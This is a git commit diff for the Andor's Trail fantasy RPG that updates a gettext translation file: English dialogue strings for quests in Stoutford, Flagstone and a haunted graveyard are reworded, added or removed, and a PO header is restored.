Fixed issues with previous content translations updates related to bad

encoding and loss of headers.
This commit is contained in:
Zukero
2018-08-18 12:19:34 +02:00
parent 2b0164a398
commit 10fd46bbc2
33 changed files with 11199 additions and 17064 deletions

View File

@@ -1,3 +1,19 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"POT-Creation-Date: Sun Nov 10 11:14:56 CET 2013\n"
"PO-Revision-Date: \n"
"Last-Translator: Automatically generated\n"
"Language-Team: none\n"
"Language: ach\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: [none]
msgid "translator-credits"
msgstr ""
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2872,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4648,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5586,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6765,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9405,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9562,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9600,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21508,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21792,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21810,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22299,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22324,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22340,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22350,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22380,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22389,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22422,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22434,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22490,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22498,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22510,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22647,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22656,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22681,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22717,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22932,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23034,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23069,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24302,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24484,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26191,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26199,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26260,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26294,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26345,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26405,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26816,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26992,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27143,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27169,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27302,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27310,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27320,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27417,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27570,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27589,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27602,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27737,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27777,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27813,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27837,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27858,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27882,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27978,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28068,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28104,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28427,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28439,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28459,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28969,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28985,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29003,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29023,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29035,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29227,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
